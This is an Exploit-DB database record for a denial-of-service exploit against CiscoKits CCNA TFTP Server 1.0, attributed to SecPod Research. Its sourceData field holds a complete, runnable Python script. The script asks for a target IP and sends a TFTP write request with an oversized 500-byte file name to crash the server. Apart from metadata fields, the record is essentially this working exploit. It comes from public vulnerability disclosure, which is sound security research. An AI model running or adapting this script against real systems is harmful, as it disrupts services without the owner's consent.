{"bulletinFamily": "exploit", "id": "EDB-ID:17618", "cvelist": [], "modified": "2011-08-05T00:00:00", "lastseen": "2016-02-02T08:13:58", "edition": 1, "sourceData": "#!/usr/bin/python\r\n##############################################################################\r\n# Title : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability\r\n# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)\r\n# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/\r\n# Advisory : http://secpod.org/blog/?p=271\r\n# http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py\r\n# http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt\r\n# Version : CiscoKits CCNA TFTP Server 1.0.0.0\r\n# Date : 21/07/2011\r\n##############################################################################\r\n\r\nimport socket,sys,time\r\n\r\nport = 69\r\ntarget = raw_input(\"Enter host/target ip address: \")\r\n\r\nif not target:\r\n print \"Host/Target IP Address is not specified\"\r\n sys.exit(1)\r\n\r\nprint \"you entered \", target\r\n\r\ntry:\r\n socket.inet_aton(target)\r\nexcept socket.error:\r\n print \"Invalid IP address found ...\"\r\n sys.exit(1)\r\n\r\ntry:\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nexcept:\r\n print \"socket() failed\"\r\n sys.exit(1)\r\n\r\n#File name >= 222 length leads to crash\r\nexploit = \"A\" * 500\r\n\r\nmode = \"netascii\"\r\nprint \"File name WRITE crash\"\r\n# WRITE command = \\x00\\x02\r\ndata = \"\\x00\\x02\" + exploit + \"\\0\" + mode + \"\\0\"\r\nsock.sendto(data, (target, port))\r\ntime.sleep(5)\r\n", "published": "2011-08-05T00:00:00", "href": "https://www.exploit-db.com/exploits/17618/", "osvdbidlist": [], "reporter": "SecPod Research", "hash": "259deaba1fe33f559fdfb413059cd31901d9047a305732757f8122287a91ea72", "title": "CiscoKits 1.0 - TFTP Server DoS Write command", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "CiscoKits 1.0 - TFTP Server DoS (Write command). Dos exploit for windows platform", "references": [], "cvss": {"score": 0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/17618/", "enchantments": {"vulnersScore": 4.6}}

{"result": {}}